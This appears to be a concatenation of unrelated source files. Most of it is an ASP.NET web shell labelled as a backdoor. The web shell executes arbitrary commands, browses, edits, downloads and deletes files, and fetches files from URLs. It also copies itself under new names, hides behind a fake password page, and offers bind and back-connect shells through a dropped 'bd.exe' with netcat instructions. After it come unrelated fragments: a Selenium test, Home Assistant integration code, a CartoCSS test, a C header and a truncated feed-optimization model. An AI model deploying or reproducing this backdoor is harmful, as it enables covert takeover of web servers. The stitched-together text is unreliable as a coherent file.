"<td style=""text-align:center;""><a href=""?dir=" & xcleanpath(dd) & "&properties=" & xcleanpath(dd) & """>Properties</a> | <a href=""?dir=" & xcleanpath(xparentfolder(xparentfolder(dd))) & "&del=" & xcleanpath(dd) & """>Remove</a></td>" & _
"</tr>"
End If
For Each d As String In xdname
Dim di As New DirectoryInfo(d)
sd = di.Name
nextdir = xcleanpath(path)
buff &= "<tr onmouseover=""this.style.cursor='pointer';this.style.cursor='hand';"" onclick=""window.location= '?dir=" & urlencode(d) & "';"">" & _
"<td><span style=""font-weight:bold;""><a href=""?dir=" & xcleanpath(d) & """>[</span> " & sd & " <span style=""font-weight:bold;"">]</span></a></td>" & _
"<td>DIR</td>" & _
"<td style=""text-align:center;"">" & xfileperms(d) & "</td>" & _
"<td style=""text-align:center;"">" & xfilelastmodified(d) & "</td>" & _
"<td style=""text-align:center;""><a href=""?dir=" & xcleanpath(d) & "&properties=" & xcleanpath(d) & """>Properties</a> | <a href=""?dir=" & xcleanpath(nextdir) & "&del=" & xcleanpath(d) & """>Remove</a></td>" & _
"</tr>"
Next
For Each f As String In xfname
Dim fiz As New FileInfo(f)
sf = fiz.Name
Dim View As String = "?dir=" & urlencode(path) & "&view=" & urlencode(f)
buff &= "<tr onmouseover=""this.style.cursor='pointer';this.style.cursor='hand';"" onclick=""window.location='?dir=" & urlencode(xcleanpath(path)) & "&properties=" & urlencode(f) & "';""><td>" & _
"<a href=""?dir=" & urlencode(xcleanpath(path)) & "&properties=" & urlencode(f) & """>" & _
sf & "</a></td>" & _
"<td>" & xparsefilesize(xfilesize(f)) & "</td>" & _
"<td style=""text-align:center;"">" & xfileperms(f) & "</td>" & _
"<td style=""text-align:center;"">" & xfilelastmodified(f) & "</td>" & _
"<td style=""text-align:center;""><a href=""" & View & """>Edit</a> | <a href=""?get=" & f & """>Download</a> | <a href=""?dir=" & xcleanpath(path) & "&del=" & f & """>Remove</a></td>" & _
"</tr>"
Next
buff &= "</table></div>"
End If
Return buff
End Function
'//################# INIT GOES HERE #######################==================================================]
Dim xCwd As String = ""
Dim check As String = ""
Dim uname As String = ""
Dim auth As Boolean = False
Public Sub Page_Load()
On Error Resume Next
Session.LCID = 2057
Server.ScriptTimeout = 600
' server software
Dim xSoftware As String = Request.ServerVariables("SERVER_SOFTWARE")
' uname -a
Dim xSystem As String = OSver()
' server ip
Dim xServerIP As String = Request.ServerVariables("LOCAL_ADDR")
' your ip ;-)
Dim xClientIP As String = Request.ServerVariables("REMOTE_ADDR")
Dim xHeader As String = xSoftware & "<br />" & xSystem & "<br />Server IP: <span class=""gaul"">[ </span>" & xServerIP & "<span class=""gaul""> ]</span> Your IP: <span class=""gaul"">[ </span>" & xClientIP & "<span class=""gaul""> ]</span>"
Dim shell_style As String = "" & _
"<style type=""text/css"">" & _
"*{" & _
" font-family:Tahoma,Verdana,Arial;" & _
" font-size:12px;" & _
" line-height:20px;" & _
"}" & _
"form{" & _
" margin:0 auto;" & _
" text-align:center;" & _
"}" & _
"body{" & _
" background:url('" & Request.ServerVariables("SCRIPT_NAME") & "?img=bg') #333333;" & _
" color:#ffffff;" & _
" margin:0;" & _
" padding:0;" & _
"}" & _
"input,textarea{" & _
" background:url('" & Request.ServerVariables("SCRIPT_NAME") & "?img=bg') #111111;" & _
" height:24px;" & _
" color:#ffffff;" & _
" padding:1.5px 4px 0 4px;" & _
" margin:2px 0;" & _
" border:1px solid " & shell_color & ";" & _
" border-bottom:4px solid " & shell_color & ";" & _
" vertical-align:middle;" & _
"}" & _
"input:hover,textarea:hover{" & _
" background:#0a0a0a;" & _
"}" & _
"a{" & _
" color:#ffffff;" & _
" text-decoration:none;" & _
"}" & _
"a:hover{" & _
" border-bottom:1px solid #ffffff;" & _
"}" & _
"h1{" & _
" font-size:17px;" & _
" height:20px;" & _
" padding:2px 8px;" & _
" background:" & shell_color & ";" & _
" border:0;" & _
" border-left:4px solid " & shell_color & ";" & _
" border-right:4px solid " & shell_color & ";" & _
" border-bottom:1px solid #222222;" & _
" margin:0 auto;" & _
" width:90%;" & _
"}" & _
"h1 img{" & _
" vertical-align:bottom;" & _
"}" & _
".box{" & _
" margin:0 auto;" & _
" background:#000000;" & _
" border:4px solid " & shell_color & ";" & _
" padding:4px 8px;" & _
" width:90%;" & _
" text-align:justify;" & _
"}" & _
".gaul{" & _
" color:" & shell_color & ";" & _
"}" & _
".result, .boxcode{" & _
" margin:0 auto;" & _
" border:1px solid " & shell_color & ";" & _
" font-family:Lucida Console,Tahoma,Verdana;" & _
" padding:8px;" & _
" text-align:justify;" & _
" overflow:hidden;" & _
" color:#ffffff;" & _
"}" & _
"#explorer, table{" & _
" width:100%;" & _
"}" & _
"table th{" & _
" border-bottom:1px solid " & shell_color & ";" & _
" background:#111111;" & _
" padding:4px;" & _
"}" & _
"table td{" & _
" padding:4px;" & _
" border-bottom:1px solid #111111;" & _
" vertical-align:top;" & _
"}" & _
".tblExplorer tr:hover, .hexview td:hover{" & _
" background:" & shell_color & ";" & _
"}" & _
".hidden{" & _
" display:none;" & _
"}" & _
".tblbox td {" & _
" margin:0;" & _
" padding:0;" & _
" border-bottom:1px solid #222222;" & _
"}" & _
".tblbox tr:hover{" & _
" background:none;" & _
"}" & _
"#mainwrapper{" & _
" width:100%;" & _
" margin:20px auto;" & _
" text-align:center;" & _
"}" & _
"#wrapper{" & _
" width:90%;" & _
" margin:auto;" & _
"}" & _
".cmdbox{" & _
" border-top:1px solid " & shell_color & ";" & _
" border-bottom:1px solid " & shell_color & ";" & _
" margin:4px 0;" & _
" width:100%;" & _
"}" & _
".fpath{" & _
" border-top:1px solid " & shell_color & ";" & _
" border-bottom:1px solid " & shell_color & ";" & _
" margin:4px 0;" & _
" padding:4px 0;" & _
"}" & _
".fprop{" & _
" border-top:1px solid " & shell_color & ";" & _
" border-bottom:1px solid " & shell_color & ";" & _
" margin:4px 0;" & _
" padding:4px 0;" & _
"}" & _
".bottomwrapper{" & _
" text-align:center;" & _
"}" & _
".btn{" & _
" height:24px;" & _
" background:url('" & Request.ServerVariables("SCRIPT_NAME") & "?img=bg') #111111;" & _
" font-size:10px;" & _
" text-align:right;" & _
"}" & _
".hexview , .hexview td{" & _
" font-family: Lucida Console,Tahoma;" & _
"}" & _
"</style>"
If (Request.Form("passw") <> "") Then
check = Trim(Request.Form("passw"))
If (check = shell_password) Then
Response.Cookies.Set(New HttpCookie("pass", check))
Response.Cookies("pass").Expires = Date.Now.AddDays(7)
Else
Response.Cookies.Set(New HttpCookie("pass", check))
Response.Cookies("pass").Expires = Date.MinValue
End If
End If
If ((Request.Cookies("pass").Value <> "") And (Request.Form("passw") = "")) Then
check = Request.Cookies("pass").Value
End If
If (check = shell_password) Then
auth = True
Else
auth = False
End If
If (Request.QueryString("img") <> "") Then
Dim sfile As String = Request.QueryString("img")
If (is_file(sfile)) Then
Response.Clear()
Response.ContentType = "image/jpeg"
Response.BinaryWrite(File.ReadAllBytes(sfile))
Response.End()
Else
Response.Clear()
Response.Buffer = True
Response.ContentType = "image/png"
Dim buff As String
If sfile = "bg" Then
buff = bg
Else
buff = icon
End If
Response.BinaryWrite(Convert.FromBase64String(buff))
Response.End()
End If
End If
If (Request.QueryString("get") <> "") Then
Dim sFile As String = Request.QueryString("get")
Dim fname As String = Mid(sFile, InStrRev(sFile, "\") + 1)
Response.ContentType = "application/x-msdownload"
Response.AddHeader("Content-transfer-encoding", "binary")
Response.AddHeader("Content-Disposition", "attachment;filename=" & fname & "")
Response.Write(xfileopen(sFile, True))
Response.End()
End If
If ((Request.QueryString("btnConnect") <> "") And (IsNumeric(Request.QueryString("bportC")))) Then
Dim port As String = Request.QueryString("bportC")
Dim fname As String = "bd.exe"
Dim fpath As String = xcleanpath(urldecode(Trim(Request.QueryString("dir")))) & fname
If (xrunexploit(fpath, wBind, port, xClientIP)) Then
End If
ElseIf ((Request.QueryString("btnListen") <> "") And (IsNumeric(Request.QueryString("lportC")))) Then
Dim port As String = Request.QueryString("lportC")
Dim fname As String = "bd.exe"
Dim fpath As String = xcleanpath(urldecode(Trim(Request.QueryString("dir")))) & fname
If (xrunexploit(fpath, wBind, port, "")) Then
End If
End If
Dim uploaded As Boolean = False
Dim newdir As String = ""
If (Request.QueryString("dir") = "") Then
xCwd = Mid(Request.ServerVariables("PATH_TRANSLATED"), 1, InStrRev(Request.ServerVariables("PATH_TRANSLATED"), "\"))
Else
newdir = xcleanpath(Trim(Request.QueryString("dir")))
If (is_dir(newdir)) Then
xCwd = newdir
End If
If (Request.Form("btnNewUploadLocal") <> "") Then
Dim uname As String
If (Trim(ufname.Value) <> "") Then
uname = Trim(ufname.Value)
Else
uname = filelocal.PostedFile.FileName
End If
filelocal.PostedFile.SaveAs(xcleanpath(xCwd) & uname)
ElseIf (Request.Form("btnNewUploadUrl") <> "") Then
Dim uname As String
If (Trim(ufname.Value) <> "") Then
uname = Trim(ufname.Value)
Else
Dim m As Match = Regex.Match(fileurl.Value, ".*\/([^/?]*)\??", RegexOptions.IgnoreCase)
uname = m.Groups(1).Value
End If
Dim webcl As WebClient = New WebClient
webcl.DownloadFile(fileurl.Value, xcleanpath(xCwd) & uname)
End If
End If
If (Request.QueryString("foldername") <> "") Then
Dim fname As String = xcleanpath(Trim(Request.QueryString("foldername")))
If (Not is_dir(newdir & fname)) Then
MkDir(newdir & fname)
End If
ElseIf (Request.QueryString("del") <> "") Then
Dim fdel As String = Trim(Request.QueryString("del"))
If (is_file(fdel)) Then
File.Delete(fdel)
ElseIf (is_dir(fdel)) Then
xrmdir(fdel)
newdir = xparentfolder(fdel)
End If
ElseIf (Request.QueryString("childname") <> "") Then
Dim childname As String = newdir & Trim(Request.QueryString("childname"))
Dim con As String = xfileopen(Request.ServerVariables("PATH_TRANSLATED"), False)
If (xfilesave(childname, Encoding.ASCII.GetBytes(con))) Then
End If
End If
xCwd = xcleanpath(xCwd)
If (Request.QueryString("cmd") <> "") Then
Dim cmd As String
cmd = Trim(Request.QueryString("cmd"))
Dim pos As Integer = InStr(LCase(cmd), "cd ")
Dim m As Match = Regex.Match(cmd, "[a-zA-Z]{1}:.*", RegexOptions.IgnoreCase)
If pos = 1 Then
newdir = Trim(Mid(cmd, 3))
If (newdir = "\") Then
xCwd = Mid(xCwd, 1, 3)
Else
If (InStr(newdir, ":") > 0) Then
If (is_dir(newdir)) Then
Dim di As New DirectoryInfo(newdir)
xCwd = xcleanpath(di.FullName)
End If
Else
If (is_dir(xCwd & newdir)) Then
Dim di As New DirectoryInfo(xCwd & newdir)
xCwd = xcleanpath(di.FullName)
End If
End If
End If
resultbox.InnerHtml = xdir(xCwd)
ElseIf m.Success Then
Dim ne As String = m.Value
If (is_dir(ne)) Then
xCwd = xcleanpath(ne)
End If
resultbox.InnerHtml = xdir(xCwd)
Else
Dim result As String = ekse(cmd, xCwd)
If (result = "") Then
resultbox.InnerHtml = xdir(xCwd)
Else
result = Replace(htmlspecialchars(result), " ", " ")
resultbox.InnerHtml = Trim(nl2br(result))
End If
End If
ElseIf (Request.QueryString("properties") <> "") Then
Dim fname As String = xcleanpath(Request.QueryString("properties"))
If (Request.QueryString("oldfilename") <> "") Then
Dim oldname As String = Request.QueryString("oldfilename")
File.Move(oldname, fname)
End If
Dim Dir As String = Request.QueryString("dir")
Dim fcont As String = ""
Dim fview As String = ""
Dim fsize As String = ""
Dim faction As String = ""
Dim filectime As String = ""
Dim fileatime As String = ""
Dim filemtime As String = ""
Dim code As String = ""
Dim imglink As String = ""
If (is_dir(fname)) Then
fsize = "DIR"
fname = Mid(fname, 1, Len(fname) - 1)
fcont = xdir(fname)
faction = "<a href=""?dir=" & xcleanpath(fname) & "&properties=" & xcleanpath(fname) & """>Properties</a> | <a href=""?dir=" & xcleanpath(xparentfolder(fname)) & "&del=" & xcleanpath(fname) & """>Remove</a>"
Dim di As New DirectoryInfo(fname)
filectime = xdateformat(di.CreationTime)
fileatime = xdateformat(di.LastAccessTime)
filemtime = xdateformat(di.LastWriteTime)
Else
fname = Mid(fname, 1, Len(fname) - 1)
fsize = xparsefilesize(xfilesize(fname)) & " <span class=""gaul"">( </span>" & xfilesize(fname) & " bytes<span class=""gaul""> )</span>"
Dim xtype As String = ""
Dim mtype As String = ""
If (Request.QueryString("type") <> "") Then
xtype = Request.QueryString("type")
Else
mtype = GetFileDescription(fname)
Dim s As Match = Regex.Match(mtype, "image|img", RegexOptions.IgnoreCase)
If s.Success Then
xtype = "img"
Else
xtype = "text"
End If
End If
If (xtype = "img") Then
imglink = "<p><a href=""?img=" & fname & """ target=""_blank""><span class=""gaul"">[ </span>view full size<span class=""gaul""> ]</span></a></p>"
fcont = "<div style=""text-align:center;width:100%;"">" & imglink & "<img width=""800"" src=""?img=" & fname & """ alt="""" style=""margin:8px auto;padding:0;border:0;"" /></div>"
Else
code = htmlspecialchars(xfileopen(fname, False))
fcont = "<div class=""boxcode"">" & nl2br(code) & "</div>"
End If
Dim fi As New FileInfo(fname)
filectime = xdateformat(fi.CreationTime)
fileatime = xdateformat(fi.LastAccessTime)
filemtime = xdateformat(fi.LastWriteTime)
faction = "<a href=""?dir=" & xcleanpath(Dir) & "&view=" & fname & """>Edit</a> | <a href=""?get=" & fname & """>Download</a> | <a href=""?dir=" & xcleanpath(Dir) & "&del=" & fname & """>Remove</a>"
fview = "<a href=""?dir=" & xcleanpath(Dir) & "&properties=" & fname & "&type=text""><span class=""gaul"">[ </span>text<span class=""gaul""> ]</span></a><a href=""?dir=" & xcleanpath(Dir) & "&properties=" & fname & "&type=img""><span class=""gaul"">[ </span>image<span class=""gaul""> ]</span></a>"
End If
Dim fowner As String = xfileowner(fname)
Dim fperm As String = xfileperms(fname)
resultbox.InnerHtml = "<div style=""display:inline;"">" & _
"<form action=""?"" method=""get"" style=""margin:0;padding:1px 8px;text-align:left;"">" & _
"<input type=""hidden"" name=""dir"" value=""" & xCwd & """ />" & _
"<input type=""hidden"" name=""oldfilename"" value=""" & fname & """ />" & faction & " | " & _
"<span><input style=""width:50%;"" type=""text"" name=""properties"" value=""" & fname & """ /> " & _
"<input style=""width:120px"" class=""btn"" type=""submit"" name=""btnRename"" value=""Rename"" />" & _
"</span>" & _
"<div class=""fprop"">" & _
"Size = " & fsize & "<br />" & _
"Owner = <span class=""gaul"">( </span>" & fowner & "<span class=""gaul""> )</span><br />" & _
"Permission = <span class=""gaul"">( </span>" & fperm & "<span class=""gaul""> )</span><br />" & _
"Create Time = <span class=""gaul"">( </span>" & filectime & "<span class=""gaul""> )</span><br />" & _
"Last Modified = <span class=""gaul"">( </span>" & filemtime & "<span class=""gaul""> )</span><br />" & _
"Last Accessed = <span class=""gaul"">( </span>" & fileatime & "<span class=""gaul""> )</span><br />" & _
fview & _
"</div>" & fcont & _
"</form>" & _
"</div>"
ElseIf ((Request.QueryString("view") <> "") Or (Request.QueryString("filename") <> "")) Then
Dim msg As String = ""
Dim fname As String = ""
If (Request.Form("save") = "Save As") Then
fname = Trim(Request.Form("saveas"))
Dim Content As String = Request.Form("filesource")
Dim pesan As String = ""
If (xfilesave(fname, Encoding.ASCII.GetBytes(Content))) Then
pesan = "File Saved"
Else
pesan = "Failed to save file"
End If
msg = "<span style=""float:right;""><span class=""gaul"">[ </span>" & pesan & "<span class=""gaul""> ]</span></span>"
Else
If (Request.QueryString("view") <> "") Then
fname = Trim(Request.QueryString("view"))
Else
fname = xCwd & Trim(Request.QueryString("filename"))
End If
End If
Dim result As String = xfileopen(fname, False)
result = htmlspecialchars(result)
resultbox.InnerHtml = "<p style=""padding:0;margin:0;text-align:left;""><a href=""?dir=" & xCwd & "&properties=" & fname & """>" & xfilesummary(fname) & "</a>" & msg & "</p><div style=""clear:both;margin:0;padding:0;""></div>" & _
"<form action=""?dir=" & xCwd & "&view=" & fname & """ method=""post"">" & _
"<textarea name=""filesource"" style=""width:100%;height:200px;"">" & result & "</textarea>" & _
"<input type=""text"" style=""width:80%;"" name=""saveAs"" value=""" & fname & """ /> " & _
"<input type=""submit"" class=""btn"" style=""width:120px;"" name=""save"" value=""Save As"" /></form>"
Else
resultbox.InnerHtml = xdir(xCwd)
End If
'//################# Finalizing #######################======================================================]
Dim html_title, html_head, html_body, html_onload, html_final, html_script As String
If ((Request.QueryString("cmd") <> "") Or (Request.Form("passw") <> "")) Then
html_onload = "function setfocus(){ document.getElementById('cmd').focus(); }"
Else
html_onload = "function setfocus(){ return true; }"
End If
html_script = "<scrift type=""text/javascript"">" & _
"function updateInfo(boxid,typ){" & _
" if(typ == 0){" & _
" var pola = 'example: (using netcat) run "nc -l -p __PORT__" and then press Connect'; " & _
" }" & _
" else{" & _
" var pola = 'example: (using netcat) press "Listen" and then run "nc " & xServerIP & " __PORT__"'; " & _
" }" & _
"" & _
" var portnum = document.getElementById(boxid).value;" & _
"" & _
" var hasil = pola.replace('__PORT__', portnum);" & _
" document.getElementById(boxid+'_').innerHTML = hasil;" & _
"}" & _
"" & _
"function show(boxid){" & _
" var box = document.getElementById(boxid);" & _
" if(box.style.display != 'inline'){" & _
" document.getElementById('xnewfile').style.display = 'none';" & _
" document.getElementById('xnewfolder').style.display = 'none';" & _
" document.getElementById('xnewupload').style.display = 'none';" & _
" document.getElementById('xnewchild').style.display = 'none';" & _
" document.getElementById('xnewconnect').style.display = 'none';" & _
" box.style.display = 'inline';" & _
" box.focus();" & _
" }" & _
" else box.style.display = 'none';" & _
"}" & _
"function highlighthexdump(address){" & _
" var target = document.getElementById(address);" & _
" target.style.background = '" & shell_color & "';" & _
"}" & _
"function unhighlighthexdump(address){" & _
" var target = document.getElementById(address);" & _
" target.style.background = 'none';" & _
"}" & html_onload & _
"</scrift>"
html_script = Replace(html_script, "scrift", "script")
html_onload = ""
Dim bportC, lportC As String
If (auth) Then
If (Request.QueryString("bportC") <> "") Then
bportC = Request.QueryString("bportC")
Else
bportC = shell_fav_port
End If
If (Request.QueryString("lportC") <> "") Then
lportC = Request.QueryString("lportC")
Else
lportC = shell_fav_port
End If
html_title = shell_title & " " & xCwd
html_head = "" & _
"<title>" & html_title & "</title>" & _
"<link rel=""SHORTCUT ICON"" href=""" & Request.ServerVariables("SCRIPT_NAME") & "?img=icon"" />" & _
"" & shell_style & html_script
headwrapper.InnerHtml = html_head
serverinfo.InnerHtml = xHeader & "" & _
"<div class=""fpath"">" & _
xdrive() & xparsedir(xCwd) & _
"</div>"
xnewconnect.InnerHtml = "<form method=""get"" action=""?"" style=""display:inline;margin:0;padding:0;"">" & _
"<table class=""tblBox"" style=""width:100%;"">" & _
"<input type=""hidden"" name=""dir"" value=""" & xCwd & """ />" & _
"<tr><td style=""width:130px;"">BackConnect</td><td style=""width:200px;"">" & _
"Port <input maxlength=""5"" id=""backC"" onkeyup=""updateInfo('backC',0);"" style=""width:60px;"" type=""text"" name=""bportC"" value=""" & bportC & """ />" & _
" <input style=""width:100px;"" type=""submit"" class=""btn"" name=""btnConnect"" value=""Connect"" />" & _
"</td>" & _
"<td><span id=""backC_"" class=""msgcon"">example: (using netcat) run "nc -l -p " & bportC & "" and then press Connect</span></td>" & _
"</tr>" & _
"" & _
"<tr><td>Listen</td><td>" & _
"Port <input maxlength=""5"" id=""listenC"" onkeyup=""updateInfo('listenC',1);"" style=""width:60px;"" type=""text"" name=""lportC"" value=""" & lportC & """ />" & _
" <input style=""width:100px;"" type=""submit"" class=""btn"" name=""btnListen"" value=""Listen"" />" & _
"</td>" & _
"<td><span id=""listenC_"" class=""msgcon"">example: (using netcat) press "Listen" and then run "nc " & xServerIP & " " & lportC & ""</span></td>" & _
"</tr>" & _
"</table>" & _
"</form>"
xnewfolder.InnerHtml = "<form method=""get"" action=""?"" style=""display:inline;margin:0;padding:0;"">" & _
"<input type=""hidden"" name=""dir"" value=""" & xCwd & """ />" & _
"<table class=""tblBox"" style=""width:560px;"">" & _
"<tr><td style=""width:120px;"">New Foldername</td><td style=""width:304px;"">" & _
"<input style=""width:300px;"" type=""text"" name=""foldername"" value=""newfolder"" />" & _
"</td><td>" & _
"<input style=""width:100px;"" type=""submit"" class=""btn"" name=""btnNewfolder"" value=""Create"" />" & _
"</td></tr>" & _
"</table>" & _
"</form>"
xnewfile.InnerHtml = "<form action=""?"" method=""get"" style=""display:inline;margin:0;padding:0;"">" & _
"<input type=""hidden"" name=""dir"" value=""" & xCwd & """ />" & _
"<table class=""tblBox"" style=""width:560px;"">" & _
"<tr><td style=""width:120px;"">New Filename</td><td style=""width:304px;"">" & _
"<input style=""width:300px;"" type=""text"" name=""filename"" value=""newfile"" />" & _
"</td><td>" & _
"<input style=""width:100px;"" type=""submit"" class=""btn"" name=""btnNewfile"" value=""Create"" />" & _
"</td></tr>" & _
"</table></form>"
xnewchild.InnerHtml = "<form method=""get"" action=""?"" style=""display:inline;margin:0;padding:0;"">" & _
"<input type=""hidden"" name=""dir"" value=""" & xCwd & """ />" & _
"<table class=""tblBox"" style=""width:560px;"">" & _
"<tr><td style=""width:120px;"">New Shellname</td><td style=""width:304px;"">" & _
"<input style=""width:300px;"" type=""text"" name=""childname"" value=""" & shell_name & ".aspx""; />" & _
"</td><td><input style=""width:100px;"" type=""submit"" class=""btn"" name=""btnNewchild"" value=""Create"" />" & _
"</td></tr>" & _
"</table>" & _
"</form>"
headertop.InnerHtml = "<a href=""?"">" & shell_title & "</a>"
uploadform.Action = "?dir=" & xCwd
dir.Value = xCwd
Else
html_title = shell_fake_name
html_head = "<title>" & html_title & "</title>" & shell_style
html_body = "" & _
"<div style=""margin:30px;"">" & _
"<div>" & _
"<form action=""?"" method=""post"">" & _
"<input id=""cmd"" type=""text"" name=""passw"" value="""" />" & _
" <input type=""submit"" name=""btnpasswd"" value=""Ok"" />" & _
"</form>" & _
"</div>" & _
"<div style=""font-size:10px;"">" & shell_fake_name & "</div>" & _
"</div>"
headwrapper.InnerHtml = html_head
mainwrapper.InnerHtml = html_body
End If
End Sub
</script>
<html>
<head id="headwrapper" runat="server">
<title></title>
</head>
<body onload="setfocus();">
<div id="mainwrapper" runat="server">
<div id="wrapper">
<h1 onmouseover="this.style.cursor='pointer';this.style.cursor='hand';" onclick="window.location= '?';" runat="server" id="headertop"></h1>
<div class="box">
<div id="serverinfo" runat="server"></div>
<div class="menu">
<a href="javascript:show('xnewfile');"><span class="gaul">[ </span> New File<span class="gaul"> ]</span></a>
<a href="javascript:show('xnewfolder');"><span class="gaul">[ </span>New Folder<span class="gaul"> ]</span></a>
<a href="javascript:show('xnewchild');"><span class="gaul">[ </span>Replicate<span class="gaul"> ]</span></a>
<a href="javascript:show('xnewupload');"><span class="gaul">[ </span>Upload<span class="gaul"> ]</span></a>
<a href="javascript:show('xnewconnect');"><span class="gaul">[ </span>BindShell<span class="gaul"> ]</span></a>
</div>
<div class="hidden" id="xnewconnect" runat="server"></div>
<div class="hidden" id="xnewfolder" runat="server"></div>
<div class="hidden" id="xnewfile" runat="server"></div>
<div class="hidden" id="xnewupload">
<form runat="server" id="uploadform" method="post" action="" enctype="multipart/form-data" style="display:inline;margin:0;padding:0;">
<table class="tblBox" style="width:560px;">
<tr><td style="width:120px;">Save as</td><td><input style="width:300px;" type="text" name="ufname" id="ufname" value="" runat="server" /></td></tr>
<tr><td style="width:120px;">From Url</td><td style="width:304px;">
<input style="width:300px;" type="text" name="fileurl" id="fileurl" runat="server" value="" />
</td><td><input style="width:100px;" type="submit" class="btn" name="btnNewUploadUrl" value="Get" /></td></tr>
<tr><td style="width:120px;">From Computer</td><td style="width:304px;">
<input style="width:300px;" type="file" name="filelocal" id="filelocal" runat="server" />
</td><td>
<input style="width:100px;" type="submit" class="btn" name="btnNewUploadLocal" value="Get" />
</td></tr>
</table>
</form>
</div>
<div class="hidden" id="xnewchild" runat="server">
</div>
<div class="bottomwrapper">
<div class="cmdbox" id="cmdbox" runat="server">
<form action="?" method="get">
<input type="hidden" name="dir" id="dir" value="" runat="server" />
<table style="width:100%;"><tr>
<td style="width:88%;"><input type="text" id="cmd" name="cmd" value="" style="width:100%;" runat="server" /></td>
<td style="width:10%;"><input type="submit" class="btn" name="btnCommand" style="width:120px;" value="Execute" /></td></tr></table>
</form></div><div class="result" id="resultbox" runat="server"></div></div></div></div></div>
</body>
</html> | ASP | 1 | laotun-s/webshell | Backdoor Dev Shells/devshell.aspx | [
"MIT"
] |
import time
import os
import sys
sys.path.append(os.path.dirname(os.path.dirname(os.path.abspath(__file__))))
from nw_util import *
from selenium import webdriver
from selenium.webdriver.chrome.options import Options
chrome_options = Options()
chrome_options.add_argument("nwapp=" + os.path.dirname(os.path.abspath(__file__)))
driver = webdriver.Chrome(executable_path=os.environ['CHROMEDRIVER'], chrome_options=chrome_options)
driver.implicitly_wait(2)
try:
print driver.current_url
cookie = wait_for_element_id_content(driver, 'cookie', 'Hi there')
print cookie
finally:
driver.quit()
| Python | 3 | frank-dspeed/nw.js | test/sanity/issue4199-cookie/test.py | [
"MIT"
] |
"""Support for Soma Smartshades."""
import logging
from api.soma_api import SomaApi
from requests import RequestException
import voluptuous as vol
from homeassistant import config_entries
from homeassistant.config_entries import ConfigEntry
from homeassistant.const import CONF_HOST, CONF_PORT, Platform
from homeassistant.core import HomeAssistant
import homeassistant.helpers.config_validation as cv
from homeassistant.helpers.entity import DeviceInfo, Entity
from homeassistant.helpers.typing import ConfigType
from .const import API, DOMAIN, HOST, PORT
from .utils import is_api_response_success
_LOGGER = logging.getLogger(__name__)
DEVICES = "devices"
CONFIG_SCHEMA = vol.Schema(
vol.All(
cv.deprecated(DOMAIN),
{
DOMAIN: vol.Schema(
{vol.Required(CONF_HOST): cv.string, vol.Required(CONF_PORT): cv.string}
)
},
),
extra=vol.ALLOW_EXTRA,
)
PLATFORMS = [Platform.COVER, Platform.SENSOR]
async def async_setup(hass: HomeAssistant, config: ConfigType) -> bool:
"""Set up the Soma component."""
if DOMAIN not in config:
return True
hass.async_create_task(
hass.config_entries.flow.async_init(
DOMAIN,
data=config[DOMAIN],
context={"source": config_entries.SOURCE_IMPORT},
)
)
return True
async def async_setup_entry(hass: HomeAssistant, entry: ConfigEntry) -> bool:
"""Set up Soma from a config entry."""
hass.data[DOMAIN] = {}
hass.data[DOMAIN][API] = SomaApi(entry.data[HOST], entry.data[PORT])
devices = await hass.async_add_executor_job(hass.data[DOMAIN][API].list_devices)
hass.data[DOMAIN][DEVICES] = devices["shades"]
hass.config_entries.async_setup_platforms(entry, PLATFORMS)
return True
async def async_unload_entry(hass: HomeAssistant, entry: ConfigEntry) -> bool:
"""Unload a config entry."""
return await hass.config_entries.async_unload_platforms(entry, PLATFORMS)
def soma_api_call(api_call):
"""Soma api call decorator."""
async def inner(self) -> dict:
response = {}
try:
response_from_api = await api_call(self)
except RequestException:
if self.api_is_available:
_LOGGER.warning("Connection to SOMA Connect failed")
self.api_is_available = False
else:
if not self.api_is_available:
self.api_is_available = True
_LOGGER.info("Connection to SOMA Connect succeeded")
if not is_api_response_success(response_from_api):
if self.is_available:
self.is_available = False
_LOGGER.warning(
"Device is unreachable (%s). Error while fetching the state: %s",
self.name,
response_from_api["msg"],
)
else:
if not self.is_available:
self.is_available = True
_LOGGER.info("Device %s is now reachable", self.name)
response = response_from_api
return response
return inner
class SomaEntity(Entity):
"""Representation of a generic Soma device."""
def __init__(self, device, api):
"""Initialize the Soma device."""
self.device = device
self.api = api
self.current_position = 50
self.battery_state = 0
self.is_available = True
self.api_is_available = True
@property
def available(self):
"""Return true if the last API commands returned successfully."""
return self.is_available
@property
def unique_id(self):
"""Return the unique id base on the id returned by pysoma API."""
return self.device["mac"]
@property
def name(self):
"""Return the name of the device."""
return self.device["name"]
@property
def device_info(self) -> DeviceInfo:
"""Return device specific attributes.
Implemented by platform classes.
"""
return DeviceInfo(
identifiers={(DOMAIN, self.unique_id)},
manufacturer="Wazombi Labs",
name=self.name,
)
def set_position(self, position: int) -> None:
"""Set the current device position."""
self.current_position = position
self.schedule_update_ha_state()
@soma_api_call
async def get_shade_state_from_api(self) -> dict:
"""Return the shade state from the api."""
return await self.hass.async_add_executor_job(
self.api.get_shade_state, self.device["mac"]
)
@soma_api_call
async def get_battery_level_from_api(self) -> dict:
"""Return the battery level from the api."""
return await self.hass.async_add_executor_job(
self.api.get_battery_level, self.device["mac"]
)
| Python | 5 | MrDelik/core | homeassistant/components/soma/__init__.py | [
"Apache-2.0"
] |
#world {
point-transform: scale(2, 2);
image-filters: agg-stack-blu(2, 1);
}
| CartoCSS | 1 | nimix/carto | test/errorhandling/function_args.mss | [
"Apache-2.0"
] |
#include "autolink-elf-c-pragma-transitive.h"
#pragma comment(lib, "module")
| C | 0 | gandhi56/swift | test/IRGen/Inputs/autolink-elf-c-pragma.h | [
"Apache-2.0"
] |
# Copywrite (C) 2015 Jan Vaillant <jan.vaillant@zalf.de>
# Licensed under the MIT licence
#optimize PMR across all cows: minimize total sum of (relative) requirement violations
# set limits solutions 2
# set numerics feastol 0.001
set Feeds := { "GS", "MS", "SY", "WH" };
set Nutrients := { "NEL", "uCP"};
set FeedAttributes := Nutrients + { "RNB", "FV", "GSR", "UFL" };
set Cows := { 1,10,15,20,25,30,35,40 };
set CowAttributes := { "PLPOT", "IC", "UFL", "NEL", "uCP", "parity", "BWC" };
param cc_intake_max := 0.4;
param energy_weight := 10;
param feed_data[Feeds * FeedAttributes] :=
|"NEL", "uCP", "RNB", "FV" , "GSR", "UFL"|
|"GS"| 5.9 , 135 , 6 , 0.978, 0 , 0.885|
|"MS"| 6.9 , 136 , -9 , 0.978, 0 , 0.899|
|"SY"| 9.9 , 250 , 24 , 0 , 0.55 , 0 |
|"WH"| 8.5 , 170 , -5 , 0 , 0.55 , 0 |;
param cow_data[Cows * CowAttributes] :=
|"PLPOT", "IC" , "UFL", "NEL", "uCP", "parity", "BWC" |
